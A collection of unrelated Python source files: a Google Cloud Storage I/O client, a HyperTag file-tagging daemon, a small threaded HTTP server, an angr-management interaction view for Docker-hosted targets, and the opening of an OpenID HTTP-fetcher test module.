assert dest.endswith('/') for entry in self.list_prefix(src): rel_path = entry[len(src):] self.copy(entry, dest + rel_path) # We intentionally do not decorate this method with a retry, since the # underlying copy and delete operations are already idempotent operations # protected by retry decorators. def rename(self, src, dest): """Renames the given GCS object from src to dest. Args: src: GCS file path pattern in the form gs://<bucket>/<name>. dest: GCS file path pattern in the form gs://<bucket>/<name>. """ self.copy(src, dest) self.delete(src) @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def exists(self, path): """Returns whether the given GCS object exists. Args: path: GCS file path pattern in the form gs://<bucket>/<name>. """ bucket, object_path = parse_gcs_path(path) try: request = storage.StorageObjectsGetRequest( bucket=bucket, object=object_path) self.client.objects.Get(request) # metadata return True except HttpError as http_error: if http_error.status_code == 404: # HTTP 404 indicates that the file did not exist return False else: # We re-raise all other exceptions raise @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def checksum(self, path): """Looks up the checksum of a GCS object. Args: path: GCS file path pattern in the form gs://<bucket>/<name>. """ bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsGetRequest( bucket=bucket, object=object_path) return self.client.objects.Get(request).crc32c @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def size(self, path): """Returns the size of a single GCS object. This method does not perform glob expansion. Hence the given path must be for a single GCS object. Returns: size of the GCS object in bytes. """ bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsGetRequest( bucket=bucket, object=object_path) return self.client.objects.Get(request).size @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def kms_key(self, path): """Returns the KMS key of a single GCS object. This method does not perform glob expansion. Hence the given path must be for a single GCS object. Returns: KMS key name of the GCS object as a string, or None if it doesn't have one. """ bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsGetRequest( bucket=bucket, object=object_path) return self.client.objects.Get(request).kmsKeyName @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def last_updated(self, path): """Returns the last updated epoch time of a single GCS object. This method does not perform glob expansion. Hence the given path must be for a single GCS object. Returns: last updated time of the GCS object in second. """ bucket, object_path = parse_gcs_path(path) request = storage.StorageObjectsGetRequest( bucket=bucket, object=object_path) datetime = self.client.objects.Get(request).updated return (time.mktime(datetime.timetuple()) - time.timezone + datetime.microsecond / 1000000.0) @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def list_prefix(self, path): """Lists files matching the prefix. Args: path: GCS file path pattern in the form gs://<bucket>/[name]. Returns: Dictionary of file name -> size. """ bucket, prefix = parse_gcs_path(path, object_optional=True) request = storage.StorageObjectsListRequest(bucket=bucket, prefix=prefix) file_sizes = {} counter = 0 start_time = time.time() _LOGGER.info("Starting the size estimation of the input") while True: response = self.client.objects.List(request) for item in response.items: file_name = 'gs://%s/%s' % (item.bucket, item.name) file_sizes[file_name] = item.size counter += 1 if counter % 10000 == 0: _LOGGER.info("Finished computing size of: %s files", len(file_sizes)) if response.nextPageToken: request.pageToken = response.nextPageToken else: break _LOGGER.info("Finished listing %s files in %s seconds.", counter, time.time() - start_time) return file_sizes class GcsDownloader(Downloader): def __init__(self, client, path, buffer_size): self._client = client self._path = path self._bucket, self._name = parse_gcs_path(path) self._buffer_size = buffer_size # Get object state. self._get_request = (storage.StorageObjectsGetRequest( bucket=self._bucket, object=self._name)) try: metadata = self._get_object_metadata(self._get_request) except HttpError as http_error: if http_error.status_code == 404: raise IOError(errno.ENOENT, 'Not found: %s' % self._path) else: _LOGGER.error('HTTP error while requesting file %s: %s', self._path, http_error) raise self._size = metadata.size # Ensure read is from file of the correct generation. self._get_request.generation = metadata.generation # Initialize read buffer state. self._download_stream = io.BytesIO() self._downloader = transfer.Download( self._download_stream, auto_transfer=False, chunksize=self._buffer_size, num_retries=20) self._client.objects.Get(self._get_request, download=self._downloader) @retry.with_exponential_backoff( retry_filter=retry.retry_on_server_errors_and_timeout_filter) def _get_object_metadata(self, get_request): return self._client.objects.Get(get_request) @property def size(self): return self._size def get_range(self, start, end): self._download_stream.seek(0) self._download_stream.truncate(0) self._downloader.GetRange(start, end - 1) return self._download_stream.getvalue() class GcsUploader(Uploader): def __init__(self, client, path, mime_type): self._client = client self._path = path self._bucket, self._name = parse_gcs_path(path) self._mime_type = mime_type # Set up communication with child thread. parent_conn, child_conn = multiprocessing.Pipe() self._child_conn = child_conn self._conn = parent_conn # Set up uploader. self._insert_request = (storage.StorageObjectsInsertRequest( bucket=self._bucket, name=self._name)) self._upload = transfer.Upload( PipeStream(self._child_conn), self._mime_type, chunksize=WRITE_CHUNK_SIZE) self._upload.strategy = transfer.RESUMABLE_UPLOAD # Start uploading thread. self._upload_thread = threading.Thread(target=self._start_upload) self._upload_thread.daemon = True self._upload_thread.last_error = None self._upload_thread.start() # TODO(silviuc): Refactor so that retry logic can be applied. # There is retry logic in the underlying transfer library but we should make # it more explicit so we can control the retry parameters. @retry.no_retries # Using no_retries marks this as an integration point. def _start_upload(self): # This starts the uploader thread. We are forced to run the uploader in # another thread because the apitools uploader insists on taking a stream # as input. Happily, this also means we get asynchronous I/O to GCS. # # The uploader by default transfers data in chunks of 1024 * 1024 bytes at # a time, buffering writes until that size is reached. try: self._client.objects.Insert(self._insert_request, upload=self._upload) except Exception as e: # pylint: disable=broad-except _LOGGER.error('Error in _start_upload while inserting file %s: %s', self._path, traceback.format_exc()) self._upload_thread.last_error = e finally: self._child_conn.close() def put(self, data): try: self._conn.send_bytes(data.tobytes()) except EOFError: if self._upload_thread.last_error is not None: raise self._upload_thread.last_error # pylint: disable=raising-bad-type raise def finish(self): self._conn.close() # TODO(udim): Add timeout=DEFAULT_HTTP_TIMEOUT_SECONDS * 2 and raise if # isAlive is True. self._upload_thread.join() # Check for exception since the last put() call. if self._upload_thread.last_error is not None: raise self._upload_thread.last_error # pylint: disable=raising-bad-type
daemon.py
import os import re from pathlib import Path import json import threading import torch import rpyc # type: ignore from rpyc.utils.server import ThreadedServer # type: ignore from watchdog.observers import Observer # type: ignore from watchdog.events import FileSystemEventHandler # type: ignore from .persistor import Persistor from .vectorizer import TextVectorizer, CLIPVectorizer from .utils import update_symlink text_vectorizer = None image_vectorizer = None class DaemonService(rpyc.Service): def on_connect(self, conn): print("New connection:", conn) def on_disconnect(self, conn): pass def exposed_compute_text_embedding(self, sentences_json): if text_vectorizer is not None: sentences = json.loads(sentences_json) return json.dumps(text_vectorizer.compute_text_embedding(sentences)) def exposed_search(self, text_query: str, path=False, top_k=10, score=False): if text_vectorizer is not None: return text_vectorizer.search(text_query, path, top_k, score) def exposed_update_text_index(self): if text_vectorizer is not None: corpus_vectors, corpus_paths = text_vectorizer.get_text_corpus() text_vectorizer.update_index(len(corpus_vectors)) def exposed_encode_image(self, path: str): if image_vectorizer is not None: return json.dumps(image_vectorizer.encode_image(path).tolist()) def exposed_search_image(self, text_query: str, path=False, top_k=10, score=False): if image_vectorizer is not None: return image_vectorizer.search_image(text_query, path, top_k, score) def exposed_update_image_index(self): if image_vectorizer is not None: corpus_vectors, corpus_paths = image_vectorizer.get_image_corpus() image_vectorizer.update_index(len(corpus_vectors)) class AutoImportHandler(FileSystemEventHandler): def __init__(self, import_path): super().__init__() self.import_path = import_path with Persistor() as db: self.auto_index_images = db.get_auto_index_images(import_path) self.auto_index_texts = db.get_auto_index_texts(import_path) if self.auto_index_images: print("AutoImportHandler - Auto indexing images for", import_path) if self.auto_index_texts: print("AutoImportHandler - Auto indexing texts for", import_path) def on_moved(self, event): # TODO: Handle file rename / move super().on_moved(event) what = "directory" if event.is_directory else "file" print("AutoImportHandler - Moved", what, ": from", event.src_path, "to", event.dest_path) path = Path(event.dest_path) with Persistor() as db: file_id = db.get_file_id_by_path(event.src_path) from .hypertag import HyperTag ht = HyperTag() if file_id is None and path.is_file: # Add new file print("AutoImportHandler - Adding file:", path) ht.add(str(path)) import_path_dirs = set(str(self.import_path).split("/")) print("AutoImportHandler - Adding tags...") ht.auto_add_tags_from_path(path, import_path_dirs) ht.db.conn.commit() ht.mount(ht.root_dir) if self.auto_index_images: ht.index_images() if self.auto_index_texts: ht.index_texts() elif file_id is not None: # Update existing path print("AutoImportHandler - Updating path & name for:", event.src_path, "to", path) old_name = event.src_path.split("/")[-1] with Persistor() as db: db.update_file_by_id(file_id, path) hypertagfs_path = db.get_hypertagfs_dir() # Update broken symlinks update_symlink(hypertagfs_path, old_name, path) # Add possible new tags import_path_dirs = set(str(event.src_path).split("/")) ht.auto_add_tags_from_path(path, import_path_dirs, verbose=True, keep_all=True) ht.db.conn.commit() # Remount ht.mount(ht.root_dir) def on_created(self, event): # Start auto import super().on_created(event) what = "directory" if event.is_directory else "file" print("AutoImportHandler - Created", what, event.src_path) path = Path(event.src_path) is_download_file = str(path).endswith(".crdownload") if path.is_file() and not is_download_file: # Ignore download progress file from .hypertag import HyperTag ht = HyperTag() print("AutoImportHandler - Adding file:", path) ht.add(str(path)) import_path_dirs = set(str(self.import_path).split("/")) print("AutoImportHandler - Adding tags...") ht.auto_add_tags_from_path(path, import_path_dirs) ht.db.conn.commit() ht.mount(ht.root_dir) if self.auto_index_images: ht.index_images() if self.auto_index_texts: ht.index_texts() def on_deleted(self, event): # TODO: Remove file and its tags super().on_deleted(event) what = "directory" if event.is_directory else "file" path = Path(event.src_path) print("AutoImportHandler - Deleted", what, path) class HyperTagFSHandler(FileSystemEventHandler): def __init__(self): super().__init__() def on_moved(self, event): # Change tag association of moved file / dir super().on_moved(event) what = "directory" if event.is_directory else "file" print("Moved", what, ": from", event.src_path, "to", event.dest_path) def on_created(self, event): # DONE Interpret as query and populate with results as symlinks # TODO: Save created query dirs in dedicated table to recreate later super().on_created(event) what = "directory" if event.is_directory else "file" print("Created", what, event.src_path) path = Path(event.src_path) query = path.name if event.is_directory and not query.startswith("_"): from .hypertag import HyperTag ht = HyperTag() print("Populating with query results...") args = re.findall(r"'.*?'|\".*?\"|\S+", query) args = [e.replace('"', "").replace("'", "") for e in args] top_k = [int(a.split("=")[-1]) for a in args if a.startswith("top_k=")] if top_k: top_k = top_k[0] else: top_k = 10 args = [a for a in args if not a.startswith("top_k=")] parent_tag_name = path.parent.name if parent_tag_name == "Search Texts": query_results = ht.search(*args, path=True, top_k=top_k, _return=True) elif parent_tag_name == "Search Images": query_results = ht.search_image(*args, path=True, top_k=top_k, _return=True) else: query_results = ht.query(*args, path=True) try: for fp in query_results: file_path = Path(fp) os.symlink(file_path, path / file_path.name) except Exception as ex: print("Failed:", ex) def on_deleted(self, event): """For symlink: remove tag For directory: remove tag associations""" super().on_deleted(event) what = "directory" if event.is_directory else "file" path = Path(event.src_path) print("Deleted", what, path) if event.is_directory and not path.name.startswith("_"): tag_name = path.name parent_tag_name = path.parent.name if parent_tag_name in {"HyperTagFS", "Search Texts", "Search Images"}: return print( "Removing parent tag association for:", tag_name, "Parent:", parent_tag_name, ) with Persistor() as db: db.remove_parent_tag_from_tag(parent_tag_name, tag_name) else: # Symlink tag_name = path.parent.name if tag_name == "_files": tag_name = path.parent.parent.name elif tag_name == "HyperTagFS": return file_name = path.name print("Removing tag:", tag_name, "from file:", file_name) with Persistor() as db: db.remove_tag_from_file(tag_name, file_name) def on_modified(self, event): super().on_modified(event) what = "directory" if event.is_directory else "file" print("Modified", what, ":", event.src_path) def spawn_observer_thread(event_handler, path): print("Spawned observer for:", path) observer = Observer() observer.schedule(event_handler, path, recursive=True) t = threading.Thread(target=observer.start) t.start() def auto_importer(): with Persistor() as db: auto_import_paths = db.get_auto_import_paths() print("Spawning Auto-Importer Threads...") for import_path in auto_import_paths: event_handler = AutoImportHandler(import_path) spawn_observer_thread(event_handler, import_path) def watch_hypertagfs(): with Persistor() as db: path = db.get_hypertagfs_dir() print("Spawning HyperTagFS Watching Thread...") event_handler = HyperTagFSHandler() spawn_observer_thread(event_handler, path) def start(): # Spawn Auto-Importer threads auto_importer() # Spawn HyperTagFS watch in thread watch_hypertagfs() cuda = torch.cuda.is_available() if cuda: print("Using CUDA runtime") else: print("CUDA runtime not available (this might take a while)") # TODO: Only TextVectorizer works without CUDA right now print("Initializing TextVectorizer...") global text_vectorizer text_vectorizer = TextVectorizer(verbose=True) print("Initializing ImageVectorizer...") global image_vectorizer image_vectorizer = CLIPVectorizer(verbose=True) # IPC port = 18861 # TODO: Investigate why Vectorize seems to be initialized twice... t = ThreadedServer(DaemonService, port=port) print(f"Starting DaemonService, listening on: localhost:{port}") t.start() if __name__ == "__main__": print("Starting as standalone process") start()
httpserver.py
import select import queue from threading import Thread from socketserver import ThreadingMixIn from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import logging class Handler(BaseHTTPRequestHandler): def do_GET(self): app = self.server.getApp() req = "%s:%s - \"%s\"" % (self.client_address[0], self.client_address[1], self.requestline) parsed_path = urlparse(self.path) cmdDict = parse_qs(parsed_path.query) cmd = parsed_path.path if cmd.startswith('/'): cmd = cmd[1:] cmdDict['cmd'] = [cmd] rc, b = app.dispatch(cmdDict) req += (" - %d" % rc) logging.info(req) try: body = b.encode() except: body = b if rc == 200: self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(body) else: logging.error(body) self.send_response(400) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(body) class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): def serve_reprap(self): self.haltServer = False while self.haltServer == False: r = select.select([self.socket], [], [], 1)[0] if r: self.handle_request() def setApp(self, app): self.app = app def getApp(self): return self.app def shut_down(self): self.haltServer = True class NodeHTTPServer: def __init__(self, ip, port, httpcmdq, httprespq): self.server = ThreadingHTTPServer((ip, port), Handler) self.server.setApp(self) self.httpcmdq = httpcmdq self.httprespq = httprespq self.thread = Thread(target=self.server.serve_reprap) self.thread.start() def getThread(self): return self.thread def getServer(self): return self.server def dispatch(self, cmd): self.httpcmdq.put(cmd) try: rc, body = self.httprespq.get(True, 10) except queue.Empty: rc = 400 body = b'bad request' return rc, body def close(self): self.server.shut_down()
interaction_view.py
import enum import logging from typing import Optional from threading import Thread from PySide2 import QtWidgets, QtCore from PySide2.QtWidgets import QMessageBox, QInputDialog, QLineEdit from .view import BaseView try: import nclib except ImportError: nclib = None try: import keystone except ImportError: keystone = None try: import archr except ImportError: archr = None try: import slacrs import slacrs.model except ImportError: slacrs = None _l = logging.getLogger(name=__name__) # not a namedtuple so it can be mutable. I think this is not a terrible idea. class SavedInteraction: def __init__(self, name, protocol, log): self.name = name self.protocol = protocol self.log = log class ProtocolInteractor: def __init__(self, view, sock): self.view = view # type: InteractionView self.sock = sock # type: nclib.Netcat def consume_data(self, data): # try to decode it # add it to the log, perhaps mutating the last entry if an entire entity wasn't received (no support yet) raise NotImplementedError def consume_start(self): raise NotImplementedError def consume_eof(self): raise NotImplementedError def render_input_form(self): # determine what the current input control should look like. returns a QWidget. # if there's already partially written input, translate it to the new form if possible raise NotImplementedError def render_log_entry(self, model): # render a model from the log into a QWidget raise NotImplementedError class InteractionState(enum.Enum): BEGINNING = 1 RUNNING = 2 STOPPED = 3 VIEWING = 4 class InteractionView(BaseView): def __init__(self, workspace, *args, **kwargs): super().__init__('interaction', workspace, *args, **kwargs) self.base_caption = 'Interaction' self.current_log = [] # for now each entry is a dict. each entry has {"dir": "in"/"out", "data": bytes} and then whatever # "in" here means it's input to the program self.log_controls = [] self.sock = None # type: nclib.Netcat self._state = None self._last_img_name: Optional[str] = None self.widget_button_start = None self.widget_button_stop = None self.widget_combobox_protocol = None self.widget_area_log = None self.widget_input = None self.widget_text_savename = None self.widget_group_start = None self.widget_group_running = None self.widget_group_save = None self.widget_group_load = None self.running_protocol = None # type: ProtocolInteractor self.chosen_protocol = None # type: type self._init_widgets() self._state_transition(InteractionState.BEGINNING) self._signal_start.connect(self._handler_start) self._signal_data.connect(self._handler_data) self._signal_eof.connect(self._handler_eof) _signal_start = QtCore.Signal() _signal_data = QtCore.Signal(bytes) _signal_eof = QtCore.Signal() @property def selected_protocol(self): return self.workspace.instance.interaction_protocols[self.widget_combobox_protocol.currentIndex()] # log_add/clear will be called by the base class. it's the subclass' responsibility to call input_show and # input_hide depending on whether or not the protocol is accepting input def log_add(self, model): self.current_log.append(model) control = self.running_protocol.render_log_entry(model) control.setParent(self.widget_area_log) self.widget_area_log.layout().insertWidget(len(self.log_controls), control) self.log_controls.append(control) def log_clear(self): for control in self.log_controls: self.widget_area_log.layout().removeWidget(control) control.deleteLater() self.log_controls = [] self.current_log = [] def input_show(self): if self.running_protocol is None: self.input_hide() return new_widget = self.running_protocol.render_input_form() if new_widget is None: return if self.widget_input is not None: self.input_hide() new_widget.setParent(self.widget_area_log) self.widget_area_log.layout().insertWidget(len(self.log_controls), new_widget) self.widget_input = new_widget def input_hide(self): if self.widget_input is None: return self.widget_area_log.layout().removeWidget(self.widget_input) self.widget_input.deleteLater() self.widget_input = None # events from the thread def _handler_start(self): self.running_protocol.consume_start() def _handler_data(self, data): self.running_protocol.consume_data(data) def _handler_eof(self): self.running_protocol.consume_eof() self._state_transition(InteractionState.STOPPED) # data model events def _handler_update_interactions(self, **kwargs): while self.widget_combobox_load.count(): self.widget_combobox_load.removeItem(0) for interaction in self.workspace.instance.interactions: self.widget_combobox_load.addItem(interaction.name) def _handler_update_protocols(self, **kwargs): while self.widget_combobox_protocol.count(): self.widget_combobox_protocol.removeItem(0) for protocol in self.workspace.instance.interaction_protocols: self.widget_combobox_protocol.addItem(protocol.__name__) # utility for tweaking the control panel def _state_transition(self, state): self._state = state if state == InteractionState.BEGINNING: self.widget_group_start.setHidden(False) self.widget_group_running.setHidden(True) self.widget_group_save.setHidden(True) self.widget_group_load.setHidden(False) self.widget_group_upload.setHidden(True) self.input_hide() self.log_clear() elif state == InteractionState.RUNNING: self.widget_group_start.setHidden(True) self.widget_group_running.setHidden(False) self.widget_group_save.setHidden(True) self.widget_group_load.setHidden(True) self.widget_group_upload.setHidden(True) self.log_clear() elif state == InteractionState.STOPPED: self.widget_group_start.setHidden(False) self.widget_group_running.setHidden(True) self.widget_group_save.setHidden(False) self.widget_group_load.setHidden(False) self.widget_group_upload.setHidden(True) self.input_hide() self.running_protocol = None elif state == InteractionState.VIEWING: self.widget_group_start.setHidden(False) self.widget_group_running.setHidden(True) self.widget_group_save.setHidden(True) self.widget_group_load.setHidden(False) self.widget_group_upload.setHidden(False) self.input_hide() self.log_clear() else: raise ValueError(state) # buttons def _save_interaction(self): self.workspace.instance.interactions.am_obj.append( SavedInteraction(self.widget_text_savename.text(), self.chosen_protocol, self.current_log)) self.workspace.instance.interactions.am_event() def _upload_interaction(self): if slacrs is None: QMessageBox.warning(self.workspace.main_window, "slacrs module does not exist", "Failed to import slacrs package. Please make sure it is installed.") return connector = self.workspace.plugins.get_plugin_instance_by_name("ChessConnector") if connector is None: # chess connector does not exist QMessageBox.warning(self.workspace.main_window, "CHESSConnector is not found", "Cannot communicate with the CHESSConnector plugin. Please make sure it is installed " "and enabled.") return if not connector.target_image_id: # the target image ID does not exist QMessageBox.warning(self.workspace.main_window, "Target image ID is not specified", "The target image ID is unspecified. Please associate the binary with a remote " "challenge target.") return slacrs_instance = connector.slacrs_instance() if slacrs_instance is None: # slacrs does not exist QMessageBox.warning(self.workspace.main_window, "CHECRS backend does not exist", "Cannot communicate with the CHECRS backend. Please make sure you have proper Internet " "access and have connected to the CHECRS backend.") return session = slacrs_instance.session() # get the interaction interaction: SavedInteraction = self.workspace.instance.interactions[self.widget_combobox_load.currentIndex()] # upload it to the session data = b"" for model in interaction.log: if model['dir'] == "in": data += model["data"] + b"\n" if data: input_ = slacrs.model.Input(value=data, target_image_id=connector.target_image_id, created_by="interaction view") session.add(input_) session.commit() session.close() print(interaction.name, interaction.protocol, interaction.log, flush=True) # DEBUG def _load_interaction(self): if self.widget_combobox_load.currentIndex() == -1: return thing = self.workspace.instance.interactions[self.widget_combobox_load.currentIndex()] self.chosen_protocol = thing.protocol self.running_protocol = self.chosen_protocol(self, None) # does this mean the abstractions are fucked? self._state_transition(InteractionState.VIEWING) for model in thing.log: self.log_add(model) def _abort_interaction(self): self.running_protocol.sock.close() self._state_transition(InteractionState.STOPPED) def _start_interaction(self): required = { 'archr: git clone https://github.com/angr/archr && cd archr && pip install -e .':archr, 'keystone: pip install --no-binary keystone-engine keystone-engine':keystone } is_missing = [ key for key, value in required.items() if value is None ] if len(is_missing) > 0: req_msg = 'To use this feature you need to install the following:\n\n\t' + '\n\t'.join(is_missing) req_msg += '\n\nInstall them to enable this functionality.' req_msg += '\nRelaunch angr-management after install.' QtWidgets.QMessageBox.critical(None, 'Dependency error', req_msg) return img_name = self.workspace.instance.img_name if img_name is None: # Ask the user to provide a local image name QtWidgets.QMessageBox.information(None, 'Docker image unspecified', "The project was not loaded from a Docker image. You must specify a name " "of a local Docker image to use for interaction in the next input box.") img_name, ok = QInputDialog.getText( None, "Local Docker image name", "Please specify the name of a local Docker image that you will interact with. " "You can run \"docker images\" in a terminal to see all available Docker " "images on your local machine.", QLineEdit.Normal, text="" if not self._last_img_name else self._last_img_name, ) if not ok or not img_name: return self._last_img_name = img_name _l.debug('Initializing the connection to archr with image %s' % img_name) self._state_transition(InteractionState.RUNNING) Thread(target=self._socket_thread, args=(img_name,), daemon=True).start() def _socket_thread(self, img_name): with archr.targets.DockerImageTarget(img_name).build().start() as target: with target.flight_context() as flight: sock = flight.default_channel sock._raise_timeout = True self.chosen_protocol = self.selected_protocol self.running_protocol = self.chosen_protocol(self, sock) _l.debug("Connected to running target") self._signal_start.emit() while self.running_protocol is not None: try: data = sock.recv(timeout=1) except nclib.NetcatTimeout: continue except nclib.NetcatError: break if not data: break self._signal_data.emit(data) if self.running_protocol is not None: _l.debug("Connection dropped by server") self._signal_eof.emit() else: _l.debug("Connection closed by client") def _init_widgets(self): self.setLayout(QtWidgets.QHBoxLayout(self)) leftBox = QtWidgets.QWidget(self) leftBox.setLayout(QtWidgets.QVBoxLayout(leftBox)) self.layout().addWidget(leftBox) box_start = QtWidgets.QGroupBox(leftBox) box_start.setLayout(QtWidgets.QVBoxLayout(box_start)) box_start.setTitle("New Interaction") leftBox.layout().addWidget(box_start) self.widget_group_start = box_start box_running = QtWidgets.QGroupBox(leftBox) box_running.setLayout(QtWidgets.QVBoxLayout(box_running)) box_running.setTitle("Interaction Control") leftBox.layout().addWidget(box_running) self.widget_group_running = box_running box_save = QtWidgets.QGroupBox(leftBox) box_save.setLayout(QtWidgets.QVBoxLayout(box_save)) box_save.setTitle("Save Interaction") leftBox.layout().addWidget(box_save) self.widget_group_save = box_save box_load = QtWidgets.QGroupBox(leftBox) box_load.setLayout(QtWidgets.QVBoxLayout(box_load)) box_load.setTitle("Load Interaction") leftBox.layout().addWidget(box_load) self.widget_group_load = box_load box_upload = QtWidgets.QGroupBox(leftBox) box_upload.setLayout(QtWidgets.QVBoxLayout(box_upload)) box_upload.setTitle("Upload Interaction") leftBox.layout().addWidget(box_upload) self.widget_group_upload = box_upload leftBox.layout().addStretch(0) protocolBox = QtWidgets.QComboBox(box_start) box_start.layout().addWidget(protocolBox) self.widget_combobox_protocol = protocolBox self.workspace.instance.interaction_protocols.am_subscribe(self._handler_update_protocols) self._handler_update_protocols() start_button = QtWidgets.QPushButton(box_start) start_button.setText("Connect") start_button.clicked.connect(self._start_interaction) box_start.layout().addWidget(start_button) self.widget_button_start = start_button stop_button = QtWidgets.QPushButton(box_running) stop_button.setText("Abort Interaction") stop_button.clicked.connect(self._abort_interaction) box_running.layout().addWidget(stop_button) self.widget_button_stop = stop_button save_text = QtWidgets.QLineEdit(box_save) save_text.setText("my_interaction") save_text.setPlaceholderText("Interaction Name") save_text.setSizePolicy(QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Fixed)) box_save.layout().addWidget(save_text) self.widget_text_savename = save_text load_picker = QtWidgets.QComboBox(box_load) box_load.layout().addWidget(load_picker) self.widget_combobox_load = load_picker self.workspace.instance.interactions.am_subscribe(self._handler_update_interactions) self._handler_update_interactions() load_button = QtWidgets.QPushButton(box_load) load_button.setText("Load") load_button.clicked.connect(self._load_interaction) box_load.layout().addWidget(load_button) save_button = QtWidgets.QPushButton(box_save) save_button.setText("Save") box_save.layout().addWidget(save_button) save_button.clicked.connect(self._save_interaction) upload_button = QtWidgets.QPushButton(box_upload) upload_button.setText("Upload") box_upload.layout().addWidget(upload_button) upload_button.clicked.connect(self._upload_interaction) scrollArea = QtWidgets.QScrollArea(self) scrollArea.setWidgetResizable(True) self.layout().addWidget(scrollArea) scrollAreaWidgetContents = QtWidgets.QWidget(scrollArea) scrollAreaWidgetContents.setLayout(QtWidgets.QVBoxLayout(scrollAreaWidgetContents)) scrollArea.setWidget(scrollAreaWidgetContents) self.widget_area_log = scrollAreaWidgetContents scrollAreaWidgetContents.layout().addStretch(0) # Subclass QPlainTextEdit class SmartPlainTextEdit(QtWidgets.QPlainTextEdit): def __init__(self, parent, callback): super(SmartPlainTextEdit, self).__init__(parent) self._callback = callback def keyPressEvent(self, event): if event.key() == QtCore.Qt.Key_Return: if event.modifiers() != QtCore.Qt.ShiftModifier: self._callback() return super(SmartPlainTextEdit, self).keyPressEvent(event) class PlainTextProtocol(ProtocolInteractor): def consume_start(self): # set whatever state related to the beginning of the protocol # here, we mark that we can accept user input self.view.input_show() def consume_data(self, data): # process the consumption of data coming off the wire # should deserialize it into whatever form you want and then add it to the log self.view.log_add({"dir": "out", "data": data}) def consume_eof(self): # tweak anything you care about on eof pass def render_input_form(self): # will be called whenever we need to show the input form # should translate any data we need between the old and new forms if self.view.widget_input is not None: cur_input = self.view.widget_input.toPlainText() else: cur_input = '' txt = SmartPlainTextEdit(None, self._send_callback) txt.setPlainText(cur_input) return txt def render_log_entry(self, model): # will be called to render the entries added to the log txt = QtWidgets.QLabel() txt.setText(model['data'].decode('latin-1')) return txt def _send_callback(self): data_bytes = self.view.widget_input.toPlainText().encode('latin-1') self.sock.send(data_bytes) self.view.log_add({"dir": "in", "data": data_bytes}) self.view.widget_input.setPlainText('')
test_fetchers.py
from __future__ import unicode_literals import socket import unittest import warnings import responses import six from mock import Mock, patch, sentinel from six import StringIO from six.moves.BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from six.moves.urllib.error import HTTPError, URLError from six.moves.urllib.request import BaseHandler, OpenerDirector, install_opener from six.moves.urllib.response import addinfourl from openid import fetchers try: import requests except ImportError: requests = None else: from requests.exceptions import ConnectionError, InvalidSchema class TestHTTPLib2Fetcher(object): """Mock of HTTPLib2Fetcher for test of fetcher selection.""" class TestCreateHTTPFetcher(unittest.TestCase): """Test default selection of `createHTTPFetcher` function.""" fetcher_selection = { # (requests, pycurl, httplib2) -> fetcher (sentinel.requests, sentinel.pycurl, sentinel.httplib2): fetchers.RequestsFetcher, (sentinel.requests, sentinel.pycurl, None): fetchers.RequestsFetcher, (sentinel.requests, None, sentinel.httplib2): fetchers.RequestsFetcher, (sentinel.requests, None, None): fetchers.RequestsFetcher, (None, sentinel.pycurl, sentinel.httplib2): fetchers.CurlHTTPFetcher, (None, sentinel.pycurl, None): fetchers.CurlHTTPFetcher, (None, None, sentinel.httplib2): TestHTTPLib2Fetcher, (None, None, None): fetchers.Urllib2Fetcher, } def test_requests(self): for (requests, pycurl, httplib2), fetcher_cls in self.fetcher_selection.items(): with patch.multiple(fetchers, requests=requests, pycurl=pycurl, httplib2=httplib2, # HTTPLib2Fetcher actually calls httplib2 on init. # Patch it as it's not necessary for selection test. HTTPLib2Fetcher=TestHTTPLib2Fetcher): self.assertIsInstance(fetchers.createHTTPFetcher(), fetcher_cls) # XXX: make these separate test cases def assertResponse(expected, actual): assert expected.final_url == actual.final_url, ( "%r != %r" % (expected.final_url, actual.final_url)) assert expected.status == actual.status assert expected.body == actual.body, "%r != %r" % (expected.body, actual.body) got_headers = dict(actual.headers) # TODO: Delete these pops got_headers.pop('date', None) got_headers.pop('server', None) for k, v in expected.headers.items(): assert got_headers[k] == v, (k, v, got_headers[k]) def test_fetcher(fetcher, exc, server): def geturl(path): return 'http://%s:%s%s' % (socket.getfqdn(server.server_name), server.socket.getsockname()[1], path) expected_headers = {'content-type': 'text/plain'} def plain(path, code): path = '/' + path expected = fetchers.HTTPResponse( geturl(path), code, expected_headers, path.encode('utf-8')) return (path, expected) expect_success = fetchers.HTTPResponse( geturl('/success'), 200, expected_headers, b'/success') cases = [ ('/success', expect_success), ('/301redirect', expect_success), ('/302redirect', expect_success), ('/303redirect', expect_success), ('/307redirect', expect_success), plain('notfound', 404), plain('badreq', 400), plain('forbidden', 403), plain('error', 500), plain('server_error', 503), ] for path, expected in cases: fetch_url = geturl(path) try: actual = fetcher.fetch(fetch_url) except Exception: print(fetcher, fetch_url) raise else: assertResponse(expected, actual) for err_url in [geturl('/closed'), 'http://invalid.janrain.com/', 'not:a/url', 'ftp://janrain.com/pub/']: try: result = fetcher.fetch(err_url) except fetchers.HTTPError: # This is raised by the Curl fetcher for bad cases # detected by the fetchers module, but it's a subclass of # HTTPFetchingError, so we have to catch it explicitly. assert exc except fetchers.HTTPFetchingError: assert not exc, (fetcher, exc, server) except Exception: assert exc else: assert False, 'An exception was expected for %r (%r)' % (fetcher, result) def run_fetcher_tests(server): exc_fetchers = [] for klass, library_name in [ (fetchers.CurlHTTPFetcher, 'pycurl'), (fetchers.HTTPLib2Fetcher, 'httplib2'), ]: try: exc_fetchers.append(klass()) except RuntimeError as why: if six.text_type(why).startswith('Cannot find %s library' % (library_name,)): try: __import__(library_name) except ImportError: warnings.warn( 'Skipping tests for %r fetcher because ' 'the library did not import.' % (library_name,)) pass else: assert False, ('%s present but not detected' % (library_name,)) else: raise 